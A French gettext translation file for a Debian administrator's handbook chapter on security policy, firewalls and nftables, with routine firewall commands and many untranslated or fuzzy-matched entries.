# Roland Mas , 2015. msgid "" msgstr "" "Project-Id-Version: 0\n" "POT-Creation-Date: 2022-07-30 18:23+0200\n" "PO-Revision-Date: 2021-07-09 14:32+0000\n" "Last-Translator: Frédéric Daniel Luc Lehobey \n" "Language-Team: French \n" "Language: fr-FR\n" "MIME-Version: 1.0\n" "Content-Type: application/x-publican; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n > 1;\n" "X-Generator: Weblate 4.8-dev\n" msgid "Firewall" msgstr "Pare-feu" msgid "Netfilter" msgstr "Netfilter" msgid "nftables" msgstr "nftables" msgid "IDS/NIDS" msgstr "IDS/NIDS" msgid "Security" msgstr "Sécurité" msgid "An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”." msgstr "Un système d'information a, selon les cas, une importance variable ; parfois, il est vital à la survie d'une entreprise. Il doit donc être protégé en conséquence contre divers risques, ce que l'on regroupe communément sous l'appellation de sécurité." msgid "Defining a Security Policy" msgstr "Définir une politique de sécurité" #, fuzzy #| msgid "packetIP" msgid "securitypolicy" msgstr "paquetIP" msgid "CAUTION Scope of this chapter" msgstr "ATTENTION Portée de ce chapitre" #, fuzzy #| msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject. An excellent starting point would be Linux Server Security by Michael D. Bauer (published by O'Reilly)." msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject." msgstr "La sécurité est un sujet vaste et sensible, que nous ne saurions traiter complètement dans le cadre d'un seul chapitre. Nous nous limiterons ici à délimiter quelques points importants et présenter quelques-uns des outils et méthodes qui peuvent servir dans le domaine, mais la littérature est abondante et des ouvrages entiers ont été écrits sur le sujet. On pourra par exemple se rapporter à l'ouvrage Sécuriser un réseau Linux de Bernard Boutherin et Benoît Delaunay (collection Cahiers de l'Admin, éditions Eyrolles) ; à Sécurité informatique, principes et méthode de Laurent Bloch et Christophe Wolfhugel (collection blanche, éditions Eyrolles également) ; ou, en anglais, à l'excellent Linux Server Security de Michael D. Bauer (éditions O'Reilly)." msgid "The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security." msgstr "Le terme de « sécurité » recouvre une vaste étendue de concepts, d'outils et de procédures, qui ne s'appliquent pas à tous les cas. Il convient de s'interroger sur ce que l'on souhaite accomplir pour choisir lesquels mettre en œuvre. Pour sécuriser un système, il faut se poser quelques questions ; si l'on se lance tête baissée dans la mise en œuvre d'outils, on risque de se focaliser sur certains aspects au détriment des plus importants." msgid "The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:" msgstr "Il est donc crucial de se fixer un but. Pour cela, il s'agit d'apporter des réponses aux questions suivantes :" msgid "What are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data." msgstr "Que cherche-t-on à protéger ? La politique de sécurité à mener ne sera pas la même selon que l'on cherche à protéger les ordinateurs ou les données. Et s'il s'agit des données, il faudra également se demander lesquelles." msgid "What are we trying to protect against? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?" msgstr "Contre quoi cherche-t-on à se protéger ? Est-ce d'un vol de données confidentielles ? De la perte accidentelle de ces données ? De la perte de revenu associée à une interruption de service ?" msgid "Also, who are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group." msgstr "Également, de qui cherche-t-on à se protéger ? Les mesures de sécurité à mettre en place différeront largement selon que l'on cherche à se prémunir d'une faute de frappe d'un utilisateur habituel du système ou d'un groupe d'attaquants déterminés." #, fuzzy #| msgid "packetIP" msgid "securityrisk" msgstr "paquetIP" msgid "The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions." msgstr "Il est d'usage d'appeler « risque » la conjonction des trois facteurs : ce qui doit être protégé, ce qu'on souhaite éviter et les éléments qui essaient de faire en sorte que cela arrive. La réunion des réponses à ces trois questions permet de modéliser ce risque. De cette modélisation découlera une politique de sécurité, qui se manifestera à son tour par des actions concrètes." msgid "NOTE Permanent questioning" msgstr "NOTE Remise en question permanente" msgid "Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly." msgstr "Bruce Schneier, un des experts mondialement reconnus en matière de sécurité (pas uniquement informatique, d'ailleurs) lutte contre un des mythes importants de la sécurité par l'expression « La sécurité est un processus, non un produit. » Les actifs à protéger évoluent au fil du temps, de même que les menaces qui pèsent dessus et les moyens dont disposent les attaquants potentiels. Il est donc important, même si une politique de sécurité a été parfaitement conçue et mise en œuvre, de ne pas s'endormir sur ses lauriers. Les composants du risque évoluant, la réponse à apporter à ce risque doit également évoluer à leur suite." #, fuzzy #| msgid "filtering rule" msgid "Schneier, Bruce" msgstr "règle de filtrage" #, fuzzy #| msgid "receive buffer" msgid "Bruce Schneier" msgstr "tampon de réception" msgid "Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation." msgstr "Il faudra enfin prendre en compte les contraintes qui peuvent limiter la liberté d'action. Jusqu'où est-on prêt à aller pour sécuriser le système ? Cette question a un impact majeur et la réponse apportée est trop souvent formulée en seuls termes de coût, alors qu'il faut également se demander jusqu'à quel point la politique de sécurité peut incommoder les utilisateurs du système, ou en dégrader les performances, par exemple." msgid "Once the risk has been modeled, one can start thinking about designing an actual security policy." msgstr "Une fois que l'on a établi une modélisation du risque dont on cherche à se prémunir, on peut se pencher sur la définition d'une politique de sécurité." msgid "NOTE Extreme policies" msgstr "NOTE Politiques extrêmes" msgid "There are cases where the choice of actions required to secure a system is extremely simple." msgstr "Dans certains cas, le choix des actions à mener pour sécuriser un système peut être extrêmement simple." msgid "For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach." msgstr "Par exemple, si le système à protéger se compose exclusivement d'un ordinateur de récupération qu'on n'utilise que pour additionner des chiffres en fin de journée, on peut tout à fait raisonnablement décider de ne rien faire de spécial pour le protéger ; en effet, la valeur intrinsèque du système est faible, celle des données est nulle puisqu'elles ne sont pas stockées sur cet ordinateur et un attaquant potentiel ne gagnerait à s'infiltrer sur ce « système » qu'une calculatrice un peu encombrante. Le coût de la sécurisation d'un tel système dépasserait probablement largement celui du risque." msgid "At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…" msgstr "À l'opposé, si l'on cherche à protéger absolument la confidentialité de données secrètes, au détriment de toute autre considération, une réponse appropriée serait la destruction complète de ces données (avec effacement des fichiers, puis pulvérisation des disques durs, dissolution dans de l'acide, etc.). Si les données doivent de plus être préservées, mais pas nécessairement accessibles, et si le coût n'est pas soumis à des contraintes, on pourra commencer en stockant ces données gravées sur des plaques de platine iridié stockées en divers bunkers répartis sous différentes montagnes dans le monde, chacun étant bien entendu entièrement secret mais gardé par des armées entières…" #, fuzzy #| msgid "Extreme though these examples may seem, they would nevertheless be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other." msgid "Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other." msgstr "Pour extrêmes qu'ils puissent paraître, ces deux exemples n'en sont pas moins des réponses adaptées à des risques définis, dans la mesure où ils découlent d'une réflexion qui prend en compte les buts à atteindre et les contraintes présentes. Lorsqu'il s'agit d'une décision raisonnée, aucune politique de sécurité n'est moins respectable qu'une autre." msgid "In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel." msgstr "Dans la plupart des cas, on s'apercevra que le système informatique peut être segmenté en sous-ensembles cohérents plus ou moins indépendants. Chacun de ces sous-systèmes pourra avoir ses besoins et ses contraintes propres ; il faudra donc en général les considérer séparément lors de la définition des politiques de sécurité correspondantes. Il conviendra alors de toujours garder à l'esprit le principe selon lequel un périmètre court et bien défini est plus facile à défendre qu'une frontière vague et longue. L'organisation du réseau devra donc être pensée en conséquence, afin que les services les plus sensibles soient concentrés sur un petit nombre de machines et que ces machines ne soient accessibles qu'à travers un nombre minimal de points de passage, plus faciles à sécuriser que s'il faut défendre chacune des machines contre l'intégralité du monde extérieur. On voit clairement apparaître ici l'utilité des solutions de filtrage du trafic réseau, notamment par des pare-feu. On pourra pour cela utiliser du matériel dédié, mais une solution peut-être plus simple et plus souple est d'utiliser un pare-feu logiciel, tel que celui intégré dans le noyau Linux." msgid "Firewall or Packet Filtering" msgstr "Pare-feu ou filtre de paquets" # TODO: INTEGRATE ALTERNATE STRING: firewall pare-feu msgid "firewall" msgstr "pare-feu" #, fuzzy #| msgid "packetIP" msgid "packetfilterfirewall" msgstr "paquetIP" msgid "BACK TO BASICS Firewall" msgstr "B.A.-BA Pare-feu" msgid "packetIP" msgstr "paquetIP" msgid "A firewall is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions." msgstr "Un pare-feu (firewall) est un ensemble matériel ou logiciel qui trie les paquets qui circulent par son intermédiaire, en provenance ou vers le réseau local, et ne laisse passer que ceux qui vérifient certaines conditions." msgid "A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets." msgstr "Un pare-feu est une passerelle filtrante : il applique des règles de filtrage aux paquets qui le traversent (c'est pourquoi il n'est utile qu'en tant que point de passage obligé)." msgid "SPECIFIC CASE Local Firewall" msgstr "CAS PARTICULIER Pare-feu local" #, fuzzy #| msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services, or possibly to prevent outgoing connections by rogue software that a user could, willingly or not, have installed." msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services. It is, however, always better to configure services to not listen on those network interfaces, where these services are not supposed to be offered, or to disable and remove services, which are not to be offered at all, than to use a packet filter to prevent any unwanted access to these services." msgstr "Un pare-feu peut limiter son action à une seule machine (et non pas un réseau local complet) ; son rôle principal est alors de refuser ou limiter l'accès à certains services, voire de se prémunir contre l'établissement de connexions sortantes par des logiciels indésirables que l'utilisateur pourrait avoir installés (volontairement ou pas)." msgid "Its role can also be to filter or limit connections by rogue or poorly programmed software that a user could, willingly or not, have installed. The reliability of this, however, highly depends on the goal of these actions and the integrity of the system itself. This action is not a measurement to prevent potential threats to send data." msgstr "" #, fuzzy #| msgid "The Linux kernel embeds the netfilter firewall. It can be controlled from user space with the iptables and ip6tables commands. The difference between these two commands is that the former acts on the IPv4 network, whereas the latter acts on IPv6. Since both network protocol stacks will probably be around for many years, both tools will need to be used in parallel." msgid "The Linux kernel embeds the netfilter firewall, which can be controlled from user space with the iptables, ip6tables, arptables and ebtables commands." msgstr "Le noyau Linux intègre le pare-feu netfilter ; les outils iptables et ip6tables permettent de le configurer. La différence entre ces deux outils se limite à ce que le premier agit sur le réseau IPv4 alors que le second intervient sur le réseau IPv6. Les deux piles réseau étant amenées à cohabiter pendant de nombreuses années, il faudra faire usage des deux outils en parallèle." msgid "iptables" msgstr "iptables" msgid "However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Since Debian Buster, the nftables framework is used by default. The commands mentioned before are provided by versions, which use the nftables kernel API, by default. If one requires the “classic“ commands, the relevant binaries can be adjusted using update-alternatives." msgstr "" #, fuzzy #| msgid "VOCABULARY Security audit" msgid "TOOLS fwbuilder and ufw" msgstr "VOCABULAIRE Audit de sécurité" msgid "fwbuilder" msgstr "fwbuilder" #, fuzzy #| msgid "top" msgid "ufw" msgstr "top" #, fuzzy #| msgid "Each rule creation requires one invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script so that the same configuration is set up automatically every time the machine boots. This script can be written by hand, but it can also be interesting to prepare it with a high-level tool such as fwbuilder." msgid "Although (destined to) being replaced by nftables, iptables is still widely used and suited for many use-cases. Creating a rule requires an invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script, so that the same configuration is set up automatically every time the machine boots, or they can be made “persistent“ using iptables-persistent." msgstr "Il faut invoquer iptables/ip6tables une fois par règle à créer ; c'est pourquoi on consigne habituellement tous les appels à cette commande dans un fichier de script pour mettre en place la même configuration à chaque redémarrage de la machine. On peut écrire ce script à la main mais il est souvent intéressant de le préparer à l'aide d'un outil de plus haut niveau, tel que fwbuilder." msgid "A script usually needs to be written by hand. But there are, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them. The rules are created with simple drag-and-drop actions on objects (interfaces, networks, ports, servers, etc.). A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured." msgstr "" msgid "An alternative to writing and saving/loading the required rules is to use ufw from the package with the same name. This tool is a frontend to iptables as well, but it provides a command line interface only. Simple commands can enable or disable (block) network traffic to and from ports and IP addresses. The configuration files in /etc/ufw/ also allow for complex rule sets (e.g. hooking into the Docker chains), which are then saved and loaded automatically. This tool is often used for simple setups and to block" msgstr "" #, fuzzy #| msgid "bufferreceive buffer" msgid "/etc/etc/ufw/" msgstr "réception, tampon" msgid "To enable a default firewall in Debian execute:" msgstr "" msgid "" "# apt install -y nftables\n" "Reading package lists... Done\n" "...\n" "# systemctl enable nftables.service\n" "Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.\n" "" msgstr "" #, fuzzy #| msgid "Netfilter Behavior" msgid "nftables Behavior" msgstr "Fonctionnement de netfilter" #, fuzzy #| msgid "MD5" msgid "nftables" msgstr "MD5" msgid "As the kernel is processing a network packet, it pauses and allows us to inspect the packet and decide what to do with that packet. For example, we might want to drop or discard certain incoming packets, modify other packets in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems." msgstr "" #, fuzzy #| msgid "IDS" msgid "OSI" msgstr "IDS" #, fuzzy #| msgid "intrusion detection" msgid "Open Systems InterconnectionOSI" msgstr "détection d'intrusion" msgid "A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter." msgstr "" #, fuzzy #| msgid "VOCABULARY Zero-day exploit" msgid "CULTURE The OSI model" msgstr "VOCABULAIRE Zero day exploit" #, fuzzy #| msgid "logsdisplay" msgid "OSImodel" msgstr "logsaffichage" msgid "The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols." msgstr "" msgid "This model was defined in the standard ISO/EIC 7498. The following seven layers are described:" msgstr "" msgid "Physical: transmission and reception of raw bit streams over a physical medium" msgstr "" msgid "Data Link: reliable transmission of data frames between two nodes connected by a physical layer" msgstr "" msgid "Network: structuring and managing a multi-node network, including addressing, routing and traffic control" msgstr "" msgid "Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing" msgstr "" msgid "Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes" msgstr "" msgid "Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption" msgstr "" msgid "Application: High-level APIs, including resource sharing, remote file access." msgstr "" msgid "More information can be found on Wikipedia: " msgstr "" #, fuzzy #| msgid "NetworkIDS" msgid "firewalltables" msgstr "NetworkIDS" #, fuzzy #| msgid "NetworkIDS" msgid "firewallrules" msgstr "NetworkIDS" #, fuzzy #| msgid "NetworkIDS" msgid "firewallchains" msgstr "NetworkIDS" msgid "The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified." msgstr "" msgid "There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack. Base chains are registered into the Netfilter hooks, e.g. they see packets flowing through the TCP/IP stack. On the other hand, a regular chain is not attached to any hook so it does not see any traffic. But it may be used as a jump target for better organization of the rules." msgstr "" msgid "chain" msgstr "chaîne" msgid "Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain." msgstr "" #, fuzzy #| msgid "MD5" msgid "rule" msgstr "MD5" msgid "BACK TO BASICS ICMP" msgstr "B.A.-BA ICMP" msgid "ICMP" msgstr "ICMP" #, fuzzy #| msgid "packetIP" msgid "protocolICMP" msgstr "paquetIP" #, fuzzy #| msgid "Internet Control Message Protocol" msgid "Internet Control Message ProtocolICMP" msgstr "Internet Control Message Protocol" msgid "ping" msgstr "ping" #, fuzzy #| msgid "ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC777 and RFC792 were soon completed and extended. " msgid "ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC 777 and RFC 792 were soon completed and extended. " msgstr "ICMP (Internet Control Message Protocol, ou protocole des messages de contrôle sur Internet) est très employé pour transmettre des compléments d'information sur les communications : il permet de tester le fonctionnement du réseau avec la commande ping (qui envoie un message ICMP echo request auquel le correspondant est normalement tenu de répondre par un message echo reply), signale le refus d'un paquet par un pare-feu, indique la saturation d'un tampon de réception, propose une meilleure route (un meilleur trajet pour les prochains paquets à émettre), etc. Plusieurs RFC définissent ce protocole ; les premières, 777 et 792, furent rapidement complétées et étendues. " msgid "For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time)." msgstr "Rappelons qu'un tampon de réception est une petite zone mémoire contenant les données reçues par le réseau avant qu'elles ne soient traitées par le noyau. Si cette zone est pleine, il est alors impossible de recevoir d'autres données et ICMP signale le problème de sorte que le correspondant réduise la vitesse de transfert pour essayer d'atteindre un équilibre." msgid "receive buffer" msgstr "tampon de réception" msgid "bufferreceive buffer" msgstr "réception, tampon" #, fuzzy #| msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC4443. " msgid "Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC 4443. " msgstr "Alors qu'un réseau IPv4 peut fonctionner sans ICMP, ICMPv6 est absolument indispensable dans le cadre d'un réseau IPv6 car il combine des fonctions jusqu'alors partagées entre ICMPv4, IGMP (Internet Group Membership Protocol) et ARP (Address Resolution Protocol). La RFC 4 443 définit ce protocole. " msgid "Moving from iptables to nftables" msgstr "" msgid "The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rule sets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:" msgstr "" msgid "" "# iptables-save > iptables-ruleset.txt\n" "# iptables-restore-translate -f iptables-ruleset.txt\n" "\n" "# Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022\n" "add table ip filter\n" "add chain ip filter INPUT { type filter hook input priority 0; policy accept; }\n" "add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }\n" "add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }\n" "add chain ip filter DOCKER\n" "add chain ip filter DOCKER-ISOLATION-STAGE-1\n" "add chain ip filter DOCKER-ISOLATION-STAGE-2\n" "add chain ip filter DOCKER-USER\n" "add rule ip filter FORWARD counter jump DOCKER-USER\n" "add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1\n" "add rule ip filter FORWARD oifname \"docker0\" ct state related,established counter accept\n" "add rule ip filter FORWARD oifname \"docker0\" counter jump DOCKER\n" "add rule ip filter FORWARD iifname \"docker0\" oifname != \"docker0\" counter accept\n" "add rule ip filter FORWARD iifname \"docker0\" oifname \"docker0\" counter accept\n" "add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname \"docker0\" oifname != \"docker0\" counter jump DOCKER-ISOLATION-STAGE-2\n" "add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return\n" "add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname \"docker0\" counter drop\n" "add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return\n" "add rule ip filter DOCKER-USER counter return\n" "add table ip nat\n" "add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }\n" "add chain ip nat INPUT { type nat hook input priority 100; policy accept; }\n" "add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }\n" "add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }\n" "add chain ip nat DOCKER\n" "add rule ip nat PREROUTING fib daddr type local counter jump DOCKER\n" "add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER\n" "add rule ip nat POSTROUTING oifname != \"docker0\" ip saddr 172.17.0.0/16 counter masquerade\n" "add rule ip nat DOCKER iifname \"docker0\" counter return\n" "# Completed on Wed Mar 16 22:06:32 2022\n" "# iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft\n" "# nft -f ruleset.nft\n" "# nft list ruleset\n" "table inet filter {\n" "\tchain input {\n" "\t\ttype filter hook input priority filter; policy accept;\n" "\t}\n" "\n" "\tchain forward {\n" "\t\ttype filter hook forward priority filter; policy accept;\n" "\t}\n" "\n" "\tchain output {\n" "\t\ttype filter hook output priority filter; policy accept;\n" "\t}\n" "}\n" "table ip nat {\n" "\tchain DOCKER {\n" "\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n" "\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n" "\t}\n" "\n" "\tchain POSTROUTING {\n" "\t\ttype nat hook postrouting priority srcnat; policy accept;\n" "\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n" "\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n" "\t}\n" "\n" "\tchain PREROUTING {\n" "\t\ttype nat hook prerouting priority dstnat; policy accept;\n" "\t\tfib daddr type local counter packets 1 bytes 60 jump DOCKER\n" "\t\tfib daddr type local counter packets 0 bytes 0 jump DOCKER\n" "\t}\n" "\n" "\tchain OUTPUT {\n" "\t\ttype nat hook output priority -100; policy accept;\n" "\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER\n" "\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER\n" "\t}\n" "\n" "\tchain INPUT {\n" "\t\ttype nat hook input priority 100; policy accept;\n" "\t}\n" "}\n" "table ip filter {\n" "\tchain DOCKER {\n" "\t}\n" "\n" "\tchain DOCKER-ISOLATION-STAGE-1 {\n" "\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n" "\t\tcounter packets 0 bytes 0 return\n" "\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2\n" "\t\tcounter packets 0 bytes 0 return\n" "\t}\n" "\n" "\tchain DOCKER-ISOLATION-STAGE-2 {\n" "\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n" "\t\tcounter packets 0 bytes 0 return\n" "\t\toifname \"docker0\" counter packets 0 bytes 0 drop\n" "\t\tcounter packets 0 bytes 0 return\n" "\t}\n" "\n" "\tchain FORWARD {\n" "\t\ttype filter hook forward priority filter; policy drop;\n" "\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n" "\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n" "\t\toifname \"docker0\" ct state related,established counter packets 0 bytes 0 accept\n" "\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n" "\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n" "\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n" "\t\tcounter packets 0 bytes 0 jump DOCKER-USER\n" "\t\tcounter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1\n" "\t\toifname \"docker0\" ct state established,related counter packets 0 bytes 0 accept\n" "\t\toifname \"docker0\" counter packets 0 bytes 0 jump DOCKER\n" "\t\tiifname \"docker0\" oifname != \"docker0\" counter packets 0 bytes 0 accept\n" "\t\tiifname \"docker0\" oifname \"docker0\" counter packets 0 bytes 0 accept\n" "\t}\n" "\n" "\tchain DOCKER-USER {\n" "\t\tcounter packets 0 bytes 0 return\n" "\t\tcounter packets 0 bytes 0 return\n" "\t}\n" "\n" "\tchain INPUT {\n" "\t\ttype filter hook input priority filter; policy accept;\n" "\t}\n" "\n" "\tchain OUTPUT {\n" "\t\ttype filter hook output priority filter; policy accept;\n" "\t}\n" "}\n" "" msgstr "" msgid "The tools iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility." msgstr "" #, fuzzy #| msgid "Syntax of iptables and ip6tables" msgid "Syntax of nft" msgstr "Syntaxe de iptables et ip6tables" #, fuzzy #| msgid "snort" msgid "nft" msgstr "snort" msgid "The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6." msgstr "" msgid "To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):" msgstr "" #, fuzzy #| msgid "" #| "\n" #| "# apt install fwbuilder" msgid "# nft add chain filter input { type filter hook input priority 0 \\; }" msgstr "" "\n" "# apt install fwbuilder" msgid "Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement." msgstr "" msgid "insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:" msgstr "" #, fuzzy #| msgid "" #| "\n" #| "# apt install fwbuilder" msgid "# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop" msgstr "" "\n" "# apt install fwbuilder" #, fuzzy #| msgid "monitoringlog files" msgid "/etc/etc/nftables.conf" msgstr "surveillancedes logs" msgid "The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root." msgstr "" msgid "nft allows many more operations, refer to its manual page nft 8 for more information." msgstr "" msgid "Installing the Rules at Each Boot" msgstr "Installer les règles à chaque démarrage" #, fuzzy #| msgid "logsmonitoring" msgid "servicenftables.service" msgstr "logssurveillance" msgid "To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables as root. You can stop the firewall by executing nft flush ruleset as root." msgstr "" #, fuzzy #| msgid "In other cases, the recommended way is to register the configuration script in an up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw." msgid "In other cases, the recommended way is to register the configuration script in up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw." msgstr "Dans les autres cas, le plus simple est d'inscrire le script de configuration du pare-feu dans une directive up du fichier /etc/network/interfaces. Dans l'exemple ci-dessous, ce script s'appelle /usr/local/etc/arrakis.fw." msgid "interfaces 